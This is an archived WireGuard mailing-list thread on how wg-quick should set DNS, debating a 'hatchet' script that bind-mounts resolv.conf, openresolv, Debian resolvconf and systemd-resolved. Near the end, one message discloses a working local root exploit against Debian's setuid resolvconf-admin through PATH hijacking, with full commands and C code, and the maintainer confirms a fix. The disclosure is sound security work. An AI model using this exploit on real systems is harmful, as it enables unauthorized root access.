messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-27 15:02 ` Jason A. Donenfeld @ 2017-10-27 15:38 ` Joe Doss 2017-10-27 22:04 ` Bruno Wolff III 1 sibling, 0 replies; 40+ messages in thread From: Joe Doss @ 2017-10-27 15:38 UTC (permalink / raw) To: Jason A. Donenfeld; +Cc: WireGuard mailing list On 10/27/2017 10:02 AM, Jason A. Donenfeld wrote: > Here's one from a few days ago if you're curious: > >> wg-quick doesn't work in Fedora because resolvconf command not found. Your buggy bullshit sucks. >> >> - Rodney >> > I don't even... Are they serious? Who knows, but I've gotten a lot of > these, some via IRC, some sent toteam@wireguard.com. Kind of > disheartening to receive, but at least their complaints, however rude, > are something addressable with technical fixes. Yeaaaa, that's not cool. Rodney is an asshole and if he doesn't like your free opensource buggy software he can us something else. Joe -- Joe Doss joe@solidadmin.com ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-27 15:02 ` Jason A. Donenfeld 2017-10-27 15:38 ` Joe Doss @ 2017-10-27 22:04 ` Bruno Wolff III 1 sibling, 0 replies; 40+ messages in thread From: Bruno Wolff III @ 2017-10-27 22:04 UTC (permalink / raw) To: Jason A. Donenfeld; +Cc: WireGuard mailing list On Fri, Oct 27, 2017 at 17:02:55 +0200, "Jason A. Donenfeld" <Jason@zx2c4.com> wrote: > >I don't even... Are they serious? Who knows, but I've gotten a lot of >these, some via IRC, some sent to team@wireguard.com. Kind of >disheartening to receive, but at least their complaints, however rude, >are something addressable with technical fixes. I'm a Fedora user and I find WireGuard very useful. I have found you to be extremely responseful. I've reported incompatibilities with new development kernels that I don't have the skill to resolve myself and had fixes from you in less than an hour. That's crazy good support. ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-27 14:51 ` Jason A. Donenfeld 2017-10-27 15:02 ` Jason A. Donenfeld @ 2017-10-27 15:38 ` Joe Doss 2017-10-27 17:15 ` Jason A. Donenfeld 1 sibling, 1 reply; 40+ messages in thread From: Joe Doss @ 2017-10-27 15:38 UTC (permalink / raw) To: Jason A. Donenfeld; +Cc: WireGuard mailing list On 10/27/2017 09:51 AM, Jason A. Donenfeld wrote: > So on one hand, you're fine with me shipping the hatchet, but you > aren't [yet?] okay with the RPM-itself shipping the hatchet, because > you'd like to find a more proper solution. This indicates to me that I > shouldn't ship the hatchet myself then. > > You wrote, "WG users at this point are going to accept their fate that > not all features are going to work correctly." Actually, no. Firstly, > I'm not up for shipping broken software, and it's not okay with me to > have distros ship things broken, because they think that's somehow > fine and users will put up with it. Secondly, I've received enormous > quantities of hate email from Fedora users, which is what's prompted > this whole thread in the first place. So, no -- for the next snapshot > packaging, I'd like for there to be a solution to make things work. If > you can solve the physical challenge, great. If not, hatchet? Don't let small amount of WG users that are rude and ignorant push the project around. It's not the project's fault that they don't understand how to install resolvconf or manage their own DNS if wg-quick doesn't work. This isn't me saying that we shouldn't make it better. We should and we will. It is just going to take time. If you feel this is super important and you want to ship a hacky solution to fix then do it. It's your project. That's why I said I was fine with it. It's a temp solution for a problem that needs a lot more packaging and dev time to fix correctly for every distro. WireGuard is not 1.0 software. You say that on every snapshot release. If users can't read that and understand that not all features of the software are going to be where they need to be, then they shouldn't be using it. This isn't me saying you need to accept or be OK with shipping broken software. This is just a pain point for some users, so lets invest the time to figure out what the best solution is and make it happen. When I use WireGuard I never use wg-quick that's probably why I never even noticed it was broken on my Fedora workstations. I set WG up manually with my own scripts and I manage my own DNS because I don't have a fancy NetworkManager drop down in GNOME to do it for me... at least not yet. ;) With that all said, I don't think the hatchet solution is great. It's going to cause more confusion that it is worth long term, but if you feel you need to have this issue fixed because users are super frustrated then do it for now and we can fix it later with the right way to do things in Fedora. Joe -- Joe Doss joe@solidadmin.com ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-27 15:38 ` Joe Doss @ 2017-10-27 17:15 ` Jason A. Donenfeld 2017-10-27 17:52 ` Jason A. Donenfeld 2017-10-27 22:06 ` Daniel Kahn Gillmor 0 siblings, 2 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-27 17:15 UTC (permalink / raw) To: Joe Doss; +Cc: WireGuard mailing list On Fri, Oct 27, 2017 at 5:38 PM, Joe Doss <joe@solidadmin.com> wrote: > > Don't let small amount of WG users that are rude and ignorant push the > project around. It's not the project's fault that they don't understand how > to install resolvconf or manage their own DNS if wg-quick doesn't work. This > isn't me saying that we shouldn't make it better. We should and we will. It > is just going to take time. Actually, the problem is that there's no resolvconf of any kind on Fedora, and this is what wg-quick uses. Thus wg-quick doesn't work with Fedora, yet we ship packages for Fedora with wg-quick. So: there's a problem that we need to work out. I take responsibility for it and I don't blame the users. > If you feel this is super important and you want to ship a hacky solution to > fix then do it. > It's a temp solution for a problem that needs a lot more packaging and dev > time to fix correctly for every distro. Alright. So in that case, I guess ship the hatchet as a patch in the RPM, and later when you have time, you can investigate if there's actually a proper Fedora way of doing things. Likewise Martin can do the same with OpenSUSE. (Daniel and Egbert seem mostly okay with the butchered resolvconf in their distros; at least they don't see any reason to change things, since it mostly works, and users there at least have the choice of somehow installing openresolv need be.) > I > manage my own DNS because I don't have a fancy NetworkManager drop down in > GNOME to do it for me... at least not yet. ;) Sounds like a fun project coming up... > With that all said, I don't think the hatchet solution is great. > have this issue fixed because users are super frustrated then do it for > now and we can fix it later with the right way to do things in Fedora. I suppose that's the plan then! ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-27 17:15 ` Jason A. Donenfeld @ 2017-10-27 17:52 ` Jason A. Donenfeld 2017-10-27 22:06 ` Daniel Kahn Gillmor 1 sibling, 0 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-27 17:52 UTC (permalink / raw) To: Joe Doss; +Cc: WireGuard mailing list [-- Attachment #1: Type: text/plain, Size: 244 bytes --] Okay, so, in the rpm spec, you can patch wg-quick.bash before the make install. sed -n -i -e '/^cmd_usage()/r path/to/hatchet.bash' -e 1x -e '2,${x;p}' -e '${x;p}' path/to/src/tools/wg-quick.bash This is using the attached hatchet.bash file. [-- Attachment #2: hatchet.bash --] [-- Type: application/octet-stream, Size: 1139 bytes --] set_dns() { [[ ${#DNS[@]} -gt 0 ]] || return 0 if [[ $(resolvconf --version 2>/dev/null) == openresolv\ * ]]; then printf 'nameserver %s\n' "${DNS[@]}" | cmd resolvconf -a "$INTERFACE" -m 0 -x else echo "[#] mount \`${DNS[*]}' /etc/resolv.conf" >&2 [[ -e /etc/resolv.conf ]] || touch /etc/resolv.conf { cat <<-_EOF # This file was generated by wg-quick(8) for use with # the WireGuard interface $INTERFACE. It cannot be # removed or altered directly. You may remove this file # by running \`wg-quick down $INTERFACE', or if that # poses problems, run \`umount /etc/resolv.conf'. _EOF printf 'nameserver %s\n' "${DNS[@]}" } | unshare -m --propagation shared bash -c "$(cat <<-_EOF set -e mount --make-private /dev/shm mount -t tmpfs none /dev/shm cat > /dev/shm/resolv.conf mount -o remount,ro /dev/shm mount -o bind,ro /dev/shm/resolv.conf /etc/resolv.conf _EOF )" fi HAVE_SET_DNS=1 } unset_dns() { [[ ${#DNS[@]} -gt 0 ]] || return 0 if [[ $(resolvconf --version 2>/dev/null) == openresolv\ * ]]; then cmd resolvconf -d "$INTERFACE" else cmd umount /etc/resolv.conf fi } ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-27 17:15 ` Jason A. Donenfeld 2017-10-27 17:52 ` Jason A. Donenfeld @ 2017-10-27 22:06 ` Daniel Kahn Gillmor 2017-10-28 2:24 ` Jason A. Donenfeld 1 sibling, 1 reply; 40+ messages in thread From: Daniel Kahn Gillmor @ 2017-10-27 22:06 UTC (permalink / raw) To: Jason A. Donenfeld, Joe Doss; +Cc: WireGuard mailing list [-- Attachment #1: Type: text/plain, Size: 3392 bytes --] On Fri 2017-10-27 19:15:08 +0200, Jason A. Donenfeld wrote: > (Daniel and Egbert seem mostly okay with the butchered resolvconf in > their distros; at least they don't see any reason to change things, > since it mostly works, and users there at least have the choice of > somehow installing openresolv need be.) fwiw, i'm *not* ok with resolvconf. I tried to help co-maintain it for several years and stepped back from it in disappointment. I don't even remember the details at this point, but I'm not convinced that it's particularly architecturally sound. I haven't looked at openresolv myself. I personally think that the hatchet is an unfortunate distraction from wireguard. If Jason decides to ship it upstream, i'll include it in the debian packages as part of his decision. However, i suspect it will break some people's DNS resolution in ways that they don't know how to recover from besides a reboot (maybe it'll come back after a reboot too? yikes). I suspect this will raise even worse noise and abuse than "Rodney"'s silliness. And this time, they'll be (at least partly) right, because the experimental networking tool that they installed will have done bizarre things to their filesystem mount points(!) and hijacked an important system configuration file out from under whatever was maintaining it in the first place. ------ So I think wireguard is better off with a light touch here. If Jason just wants to maintain the current openresolv hook, then any wg-quick invocation that tries to set DNS can just warn on non-openresolv systems. something liike: you asked me to set up the DNS but i only know how to do that with openresolv installed. Please install openresolv and try again! This isn't as magic as the hatchet, but it means wireguard is not responsible for breaking the user's name resolution. And if folks want to integrate it with other /etc/resolv.conf managers, they can write, test, and propose patches themselves. ----- As for what the right solution looks like on a modern GNU/Linux system: A sensible approach (which i think should be the default on machines running systemd) is to use systemd-resolved as a local resolving cache. The easiest way to do that permanently is: systemctl enable --now systemd-resolved ln -sf /lib/systemd/resolv.conf /etc/resolv.conf If your networking is configured by systemd-networkd, then everything else JustWorks™ On systems that use network-manager, you should tell nm to just inform resolved when it learns about new DNS servers: cat > /etc/NetworkManager/conf.d/use-resolved.conf <<EOF [main] dns=systemd-resolved EOF systemctl restart NetworkManager On a system configured with systemd-resolved (with or without network-manager), i'd want wg-quick to just inform systemd-resolved that it has a new DNS resolver available. This is probably some ungodly dbus invocation that i don't know what it is, but would likely not be an impossibility to figure out. https://www.freedesktop.org/wiki/Software/systemd/resolved/ If someone has the fortitude to wade through that, i'd happily ship such a patch in debian (and encourage Jason to take it upstream alongside his openresolv hook), but i'm scattered to too many places to do that myself today. all the best, --dkg [-- Attachment #2: signature.asc --] [-- Type: application/pgp-signature, Size: 832 bytes --] ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-27 22:06 ` Daniel Kahn Gillmor @ 2017-10-28 2:24 ` Jason A. Donenfeld 2017-10-28 2:39 ` Jason A. Donenfeld 2017-10-28 14:35 ` Daniel Kahn Gillmor 0 siblings, 2 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-28 2:24 UTC (permalink / raw) To: Daniel Kahn Gillmor; +Cc: WireGuard mailing list Hi Daniel, On Sat, Oct 28, 2017 at 12:06 AM, Daniel Kahn Gillmor <dkg@fifthhorseman.net> wrote: > fwiw, i'm *not* ok with resolvconf. I tried to help co-maintain it for > several years and stepped back from it in disappointment. I don't even > remember the details at this point, but I'm not convinced that it's > particularly architecturally sound. I haven't looked at openresolv > myself. Rightfully so: Debian's resolvconf is junk and really should be removed from the distro. Roy Marples, the openresolv guy, tried to fix the situation a while back, but for whatever reason the maintainer of the Debian one didn't follow through, and we are where we are today. Openresolv is a fine piece of code that works reliably; I'd encourage you to check it out, especially before you dismiss the whole idea and start recommending dbus instead. It's a tiny component where you can see all of its parts as clear transparent components. Many apps can interact with it through a consistent mechanism. It doesn't require a daemon, nor does it require any central management. Every distribution has adopted the resolvconf method -- except for Redhat land, where they have different ideas about things (NetworkManager, dhclient-script) -- and I think it's mostly a historical accident and maintenance oversight that Debian wound up with the butchered one. Fortunately that should be somewhat easy to fix. For this reason, I've gravitated strongly in favor of your suggestion on IRC: support resolvconf, be it the debian frankenstein or the openresolv one, and have distributions that don't have resolvconf figure out something else within their package. At some point, maybe Redhat will come around, or every other distribution will come around to Redhat, and then we'll converge, but for now, with basically one camp out, it seems easiest to just punt the problem to that one camp, where the hatchet hopefully will be a sufficient stop-gap measure for them (unless they come up with something better). > I personally think that the hatchet is an unfortunate distraction from > wireguard. If Jason decides to ship it upstream, i'll include it in the > debian packages as part of his decision. However, i suspect it will > break some people's DNS resolution in ways that they don't know how to > recover from besides a reboot (maybe it'll come back after a reboot too? > yikes). For this reason, and at Kalin's suggestion as the first reply on the thread, I prefix this onto resolv.conf with the hatchet: # This file was generated by wg-quick(8) for use with # the WireGuard interface wg0. It cannot be # removed or altered directly. You may remove this file # by running `wg-quick down wg0', or if that # poses problems, run `umount /etc/resolv.conf'. Not perfect, of course, but I imagine this simple comment will address 85% of confused users very quickly. > hijacked an important system configuration file out from under whatever > was maintaining it in the first place. When you set DNS=3D, you expect for that configuration file to be modified, but then put back how it was when things are turned off. That's why mount points, resolvconf, and so forth present a "stackable" interface. This is what Debian has long provided with the integration between resolvconf and openvpn, even. Of the current methods an options available, I see three possibilities, with one of them being obviously unacceptable to me, and this unacceptability should shed light on how I'm approaching the issue: 1) Use openresolv, which supports -x, and if it isn't there, fall back to the hatchet, which emulates openresolv's -x. 2) Use openresolv, which supports -x, and if it isn't there, fall back to Debian resolvconf, which doesn't support -x, and if it isn't there, fall back to the hatchet, which emulates -x. 3) Use openresolv, which supports -x, and if it isn't there, fall back to Debian resolvconf, which doesn't support -x. It might be a surprise to you to learn that (2) is actually the unacceptable option! The reason is that I will hedge my bets on the hatchet if it's for the purpose of making unified semantic behavior of the DNS=3D option, with regards to -x. This to me is a worthy goal that would justify such things. Thus, allowing for the hatchet in the same setting where I'd allow for the incorrect behavior of Debian's missing -x option is inconsistent and therefore indefensible. This, then, leaves (1) and (3). The reason for (1) has already been stated: to enable consistant -x behavior everywhere. The reasons for going with (3), instead, would be some of the points you brought up on IRC, in your email, and some additional ones too: a) Messing with mount points is heavy handed and potentially confusing. b) The application should choose *one* good mechanism for setting the DNS, choosing the mechanism that's most widely supported, and punting the issue to distributions if they don't have that mechanism available to them. The reason is that the rabbit hole of supporting _every possible DNS configuration ability_ is vast and horrible, and things should be stopped before they slide this way. c) Calling resolvconf is extremely simple to do, and something called wg-"quick" should only contain pieces of logic that are simple. d) The hatchet can be provided on a case by case basis as a patch by distributions who are unable to provide a desired level of resolvconf-ness. e) By not being pedantic about the fact that Debian's resolvconf doesn't support -x, I remind users that avoiding extratunnicular leaks is better achieved with something like https://=D7=90.cc/KXez5GRr (taken from the man page of wg-quick(8)), rather than trying to whack-a-mole with things like -x DNS configuration. f) The current "tun." prefix hack to simultaneously work with Debian's resolvconf and openresolv is "good enough". g) I'm not keen on the escalating arms race that the hatchet causes when it's included in upstream software -- will programs add code to do a stat(2) followed by an inode comparison and then run umount(2), when open(2) returns -EROFS? I don't think this arms race concern follows through to downstream distros, though, since they're usually more agile with removing these things before they become a problem, if they're becoming one. Of these, I'm most compelled by (c), (e), and (f). > you asked me to set up the DNS but i only know how to do that with > openresolv installed. Please install openresolv and try again! So, based on the above, my intention is to do this, but in the context of option (3), which means I'll only warn if there's no resolvconf, permitting Debian's resolvconf to provide its limited support if it's there and openresolv isn't. > As for what the right solution looks like on a modern GNU/Linux system: > > A sensible approach (which i think should be the default on machines > running systemd) is to use systemd-resolved as a local resolving cache. > If your networking is configured by systemd-networkd, then everything > else JustWorks=E2=84=A2 It really doesn't "just work" (and systemd-networkd is mostly for servers, but not for dynamically changing "desktop linux" machines, due to a currently very limited external interface into it). As you said, systemd-resolved not on by default in distros, which means people have to likely change their whole networking situation to use it. (When it is ubiquitous, perhaps things can be reconsidered.) More importantly, the dbus interface to interact with it is not pleasant. This deserves a line break: I don't want to manually construct dbus messages from bash. I think resolvconf is the right interface for DNS configuration. I understand that systemd-resolved doesn't want to manage things with files -- because they wish to integrate deeper with NSS and multi-machine tenancy and so forth, which are all interesting projects -- but I still think resolvconf, as a command line program, is the right interface for ad-hoc things to configure DNS. For this reason, I filed this issue with systemd -- https://github.com/systemd/systemd/issues/7202 -- and I'll be curious to hear their take on it. Maybe they'll provide an interesting new perspective, or just confirm this one. Regards, Jason ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-28 2:24 ` Jason A. Donenfeld @ 2017-10-28 2:39 ` Jason A. Donenfeld 2017-10-28 14:35 ` Daniel Kahn Gillmor 1 sibling, 0 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-28 2:39 UTC (permalink / raw) To: Daniel Kahn Gillmor; +Cc: WireGuard mailing list On Sat, Oct 28, 2017 at 4:24 AM, Jason A. Donenfeld <Jason@zx2c4.com> wrote: > I don't want to manually construct dbus messages from bash. https://github.com/jonathanio/update-systemd-resolved/blob/master/update-systemd-resolved The author of that script is some kind of genius. But it also happens to be longer than all of wg-quick itself. V6 is gnarly to parse, evidently. ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-28 2:24 ` Jason A. Donenfeld 2017-10-28 2:39 ` Jason A. Donenfeld @ 2017-10-28 14:35 ` Daniel Kahn Gillmor 2017-10-28 17:57 ` Jason A. Donenfeld 2017-10-29 22:06 ` Jason A. Donenfeld 1 sibling, 2 replies; 40+ messages in thread From: Daniel Kahn Gillmor @ 2017-10-28 14:35 UTC (permalink / raw) To: Jason A. Donenfeld; +Cc: WireGuard mailing list [-- Attachment #1: Type: text/plain, Size: 3735 bytes --] On Sat 2017-10-28 04:24:08 +0200, Jason A. Donenfeld wrote: > Openresolv is a fine piece of code that works reliably; I'd encourage > you to check it out, especially before you dismiss the whole idea and > start recommending dbus instead. It's a tiny component where you can > see all of its parts as clear transparent components. Many apps can > interact with it through a consistent mechanism. It doesn't require a > daemon, nor does it require any central management. My concern with the resolvconf model (whether implemented by openresolv or not) is that each daemon that needs to execute resolvconf needs to be root. This is because of the extensibility -- you don't know what plugin scripts you might be invoking when you invoke resolvconf, and those scripts don't know what your constraints might be. At its core, this model encourages *anything* that might need to update /etc/resolv.conf to have full system administration privileges. Consider a DHCP client (any DHCP client) -- at most, it should have CAP_NET_ADMIN and maybe CAP_NET_RAW. And it needs to be able to update the local DNS resolution, and maybe the hostname. But it parses arbitrary data from the network, and acts on it. yikes! I'd prefer that any such daemon run with minimal privileges, but on a system where resolvconf is present, it has to have superuser privileges, or else resolvconf won't work. I actually shipped the resolvconf-admin package in debian to provide some kind of filtering interface to avoid total garbage from the network getting accidentally passed through to arbitrary resolvconf plugins. But it's a setuid program, yuck. as the package description says: ------- Note: setuid binaries like resolvconf-admin are additional attack surface on your system. If you can use a different approach, such as enabling systemd-resolved, you should probably prefer it. . DO NOT INSTALL THIS PACKAGE (or any other with a setuid binary) IF YOU DO NOT NEED IT! ------- We have effective privilege separation in userspace, and it seems foolhardy not to use it just because some daemon or networking policy agent needs to update the DNS resolver. > For this reason, and at Kalin's suggestion as the first reply on the > thread, I prefix this onto resolv.conf with the hatchet: > > # This file was generated by wg-quick(8) for use with > # the WireGuard interface wg0. It cannot be > # removed or altered directly. You may remove this file > # by running `wg-quick down wg0', or if that > # poses problems, run `umount /etc/resolv.conf'. > > Not perfect, of course, but I imagine this simple comment will address > 85% of confused users very quickly. You seem to think that 85% of confused users, when faced with the fact that "the Internet doesn't work" can (a) can determine that their DNS resolution is specifically what is failing, and (b) subsequently think to look in /etc/resolv.conf, and (c) follow the instructions therein. And you think they'll do it all "very quickly". I say this with love, but I don't think we've worked with the same caliber of confused users. :) > So, based on the above, my intention is to do this, but in the context > of option (3), which means I'll only warn if there's no resolvconf, > permitting Debian's resolvconf to provide its limited support if it's > there and openresolv isn't. sounds good to me. > I don't want to manually construct dbus messages from bash. i understand this complaint, they should offer a simple command-line tool that communicates the right thing via dbus on the backend. I've subscribed to https://github.com/systemd/systemd/issues/7202, thanks for opening it. --dkg [-- Attachment #2: signature.asc --] [-- Type: application/pgp-signature, Size: 832 bytes --] ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-28 14:35 ` Daniel Kahn Gillmor @ 2017-10-28 17:57 ` Jason A. Donenfeld 2017-10-29 12:21 ` Geo Kozey 2017-10-30 12:10 ` Daniel Kahn Gillmor 2017-10-29 22:06 ` Jason A. Donenfeld 1 sibling, 2 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-28 17:57 UTC (permalink / raw) To: Daniel Kahn Gillmor; +Cc: WireGuard mailing list [-- Attachment #1: Type: text/plain, Size: 735 bytes --] On Oct 28, 2017 5:03 PM, "Daniel Kahn Gillmor" <dkg@fifthhorseman.net> wrote: My concern with the resolvconf model (whether implemented by openresolv or not) is that each daemon that needs to execute resolvconf needs to be root. 1) wg-quick isn't a daemon, though openvpn is. 2) I can think of at least 5 ways to implement a resolvconf binary without requiring root, making your argument moot. There's nothing inherent in the resolvconf model that would require it. If you're interested in spending the time implementing this for openresolv, I can spec those out in detail for you. Alternatively, you can just wait for the systemd devs to add a resolvconf for controlling systemd-resolved, if that's the horse you're betting on. [-- Attachment #2: Type: text/html, Size: 1258 bytes --] ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-28 17:57 ` Jason A. Donenfeld @ 2017-10-29 12:21 ` Geo Kozey 2017-10-29 17:07 ` Jason A. Donenfeld 2017-10-30 11:58 ` Daniel Kahn Gillmor 2017-10-30 12:10 ` Daniel Kahn Gillmor 1 sibling, 2 replies; 40+ messages in thread From: Geo Kozey @ 2017-10-29 12:21 UTC (permalink / raw) To: Jason A. Donenfeld, Daniel Kahn Gillmor; +Cc: WireGuard mailing list October 28, 2017 7:57:06 PM CEST "Jason A. Donenfeld" <Jason@zx2c4.com> wrote: >On Oct 28, 2017 5:03 PM, "Daniel Kahn Gillmor" <dkg@fifthhorseman.net> wrote: > >My concern with the resolvconf model (whether implemented by openresolv >or not) is that each daemon that needs to execute resolvconf needs to be >root. > >1) wg-quick isn't a daemon, though openvpn is. > >2) I can think of at least 5 ways to implement a resolvconf binary without requiring root, making your argument moot. There's nothing inherent in the resolvconf model that would require it. > >If you're interested in spending the time implementing this for openresolv, I can spec those out in detail for you. Alternatively, you can just wait for the systemd devs to add a resolvconf for controlling systemd-resolved, if that's the horse you're betting on. FYI you can already change DNS through resolvconf from non-root daemons with correct file permissions or ACLs but that's off-topic. Yours sincerely G. K. ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-29 12:21 ` Geo Kozey @ 2017-10-29 17:07 ` Jason A. Donenfeld 2017-10-30 11:58 ` Daniel Kahn Gillmor 1 sibling, 0 replies; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-29 17:07 UTC (permalink / raw) To: Geo Kozey; +Cc: WireGuard mailing list [-- Attachment #1: Type: text/plain, Size: 1084 bytes --] On Oct 29, 2017 1:21 PM, "Geo Kozey" <geokozey@mailfence.com> wrote: October 28, 2017 7:57:06 PM CEST "Jason A. Donenfeld" <Jason@zx2c4.com> wrote: >On Oct 28, 2017 5:03 PM, "Daniel Kahn Gillmor" <dkg@fifthhorseman.net> wrote: > >My concern with the resolvconf model (whether implemented by openresolv >or not) is that each daemon that needs to execute resolvconf needs to be >root. > >1) wg-quick isn't a daemon, though openvpn is. > >2) I can think of at least 5 ways to implement a resolvconf binary without requiring root, making your argument moot. There's nothing inherent in the resolvconf model that would require it. > >If you're interested in spending the time implementing this for openresolv, I can spec those out in detail for you. Alternatively, you can just wait for the systemd devs to add a resolvconf for controlling systemd-resolved, if that's the horse you're betting on. FYI you can already change DNS through resolvconf from non-root daemons with correct file permissions or ACLs but that's off-topic. Yep! Pretty straight forward. Yours sincerely G. K. [-- Attachment #2: Type: text/html, Size: 1974 bytes --] ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-29 12:21 ` Geo Kozey 2017-10-29 17:07 ` Jason A. Donenfeld @ 2017-10-30 11:58 ` Daniel Kahn Gillmor 1 sibling, 0 replies; 40+ messages in thread From: Daniel Kahn Gillmor @ 2017-10-30 11:58 UTC (permalink / raw) To: Geo Kozey, Jason A. Donenfeld; +Cc: WireGuard mailing list [-- Attachment #1: Type: text/plain, Size: 744 bytes --] On Sun 2017-10-29 13:21:24 +0100, Geo Kozey wrote: > FYI you can already change DNS through resolvconf from non-root > daemons with correct file permissions or ACLs resolvconf has plugins on the consumer side as well. while you might be able to guarantee that you have the correct file permissions or ACLs on /etc/resolv.conf, you probably can't make a guarantee that all of the plugins are going to work with that arrangement. That said, i'd love to see this kind of proposal standardized and documented. Are there any systems that ship with correct file permissions or ACLs? > but that's off-topic. It was off-topic until wg-quick started messing around with the local system's DNS resolution. Now it's on-topic :/ --dkg [-- Attachment #2: signature.asc --] [-- Type: application/pgp-signature, Size: 832 bytes --] ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-28 17:57 ` Jason A. Donenfeld 2017-10-29 12:21 ` Geo Kozey @ 2017-10-30 12:10 ` Daniel Kahn Gillmor 1 sibling, 0 replies; 40+ messages in thread From: Daniel Kahn Gillmor @ 2017-10-30 12:10 UTC (permalink / raw) To: Jason A. Donenfeld; +Cc: WireGuard mailing list [-- Attachment #1: Type: text/plain, Size: 1273 bytes --] On Sat 2017-10-28 20:57:06 +0200, Jason A. Donenfeld wrote: > 1) wg-quick isn't a daemon, though openvpn is. wg-quick could be invoked from a network management daemon. Part of the brilliance of wireguard is that the in-kernel stuff *doesn't* try to integrate fancy configuration/setup policy. But that does mean that it's likely that there needs to be some user-space policy agent for system integration. > 2) I can think of at least 5 ways to implement a resolvconf binary without > requiring root, making your argument moot. There's nothing inherent in the > resolvconf model that would require it. > > If you're interested in spending the time implementing this for openresolv, > I can spec those out in detail for you. Please report these suggestions to openresolv or any other resolvconf implementations. My point is about what exists today, not about what is theoretically possible. This argument will be moot when any widely-used resolvconf implementation doesn't have to be executed as the superuser by default. Please, make it moot! :) > Alternatively, you can just wait for the systemd devs to add a > resolvconf for controlling systemd-resolved, if that's the horse > you're betting on. That'd be fine with me, thanks for pushing on it. --dkg [-- Attachment #2: signature.asc --] [-- Type: application/pgp-signature, Size: 832 bytes --] ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-28 14:35 ` Daniel Kahn Gillmor 2017-10-28 17:57 ` Jason A. Donenfeld @ 2017-10-29 22:06 ` Jason A. Donenfeld 2017-10-30 12:16 ` Daniel Kahn Gillmor 1 sibling, 1 reply; 40+ messages in thread From: Jason A. Donenfeld @ 2017-10-29 22:06 UTC (permalink / raw) To: Daniel Kahn Gillmor; +Cc: WireGuard mailing list On Sat, Oct 28, 2017 at 4:35 PM, Daniel Kahn Gillmor <dkg@fifthhorseman.net> wrote: > I actually shipped the resolvconf-admin package in debian to provide > some kind of filtering interface to avoid total garbage from the network > getting accidentally passed through to arbitrary resolvconf plugins. By the way, the program you wrote introduces a trivial local privilege escalation vulnerability into Debian, since not all available providers of the resolvconf binary set PATH themselves. Always clear environment variables yourself before exec'ing anything in an suid executable. Here's an exploit: unpriv@scw-968260:~$ id uid=1000(unpriv) gid=1000(unpriv) groups=1000(unpriv),114(resolvconf-admins) unpriv@scw-968260:~$ stat /usr/bin/resolvconf-admin File: /usr/bin/resolvconf-admin Size: 24736 Blocks: 56 IO Block: 4096 regular file Device: fd00h/64768d Inode: 2897743 Links: 1 Access: (4754/-rwsr-xr--) Uid: ( 0/ root) Gid: ( 114/resolvconf-admins) Access: 2017-10-29 21:56:25.709185001 +0000 Modify: 2017-10-29 21:55:04.529185001 +0000 Change: 2017-10-29 21:55:41.449185001 +0000 Birth: - unpriv@scw-968260:~$ echo 'main() { setuid(0); setgid(0); execl("/bin/sh", 0); }' > a.c && gcc -o rootshell a.c unpriv@scw-968260:~$ echo "main() { chown(\"$PWD/rootshell\", 0, 0); chmod(\"$PWD/rootshell\", 04755); }" > a.c && gcc -o mkdir a.c unpriv@scw-968260:~$ export PATH="$PWD:$PATH" unpriv@scw-968260:~$ resolvconf-admin add eth0 8.8.8.8 Cannot write to /run/resolvconf/lock unpriv@scw-968260:~$ ./rootshell # id uid=0(root) gid=0(root) groups=0(root),114(resolvconf-admins),1000(unpriv) ^ permalink raw reply [flat|nested] 40+ messages in thread
* Re: Fixing wg-quick's DNS= directive with a hatchet 2017-10-29 22:06 ` Jason A. Donenfeld @ 2017-10-30 12:16 ` Daniel Kahn Gillmor 0 siblings, 0 replies; 40+ messages in thread From: Daniel Kahn Gillmor @ 2017-10-30 12:16 UTC (permalink / raw) To: Jason A. Donenfeld; +Cc: WireGuard mailing list [-- Attachment #1: Type: text/plain, Size: 996 bytes --] On Sun 2017-10-29 23:06:31 +0100, Jason A. Donenfeld wrote: > By the way, the program you wrote introduces a trivial local privilege > escalation vulnerability into Debian, since not all available > providers of the resolvconf binary set PATH themselves. Always clear > environment variables yourself before exec'ing anything in an suid > executable. Thanks for this report, it should be fixed in resolvconf-admin 0.3. This is a bad failure in the filtering that resolvconf-admin is supposed to provide. I note that the privilege escalation vulnerability was for any code that would normally have been running as root anyway without resolvconf-admin -- so it leaves systems no worse than they'd been without resolvconf-admin (since no user is added to the resolvconf-admins group by default). But it's definitely a bad failure mode, given the design and intent of resolvconf-admin. I appreciate the catch! Please don't hesitate to report any other similar problems. Regards, --dkg [-- Attachment #2: signature.asc --] [-- Type: application/pgp-signature, Size: 832 bytes --] ^ permalink raw reply [flat|nested] 40+ messages in thread
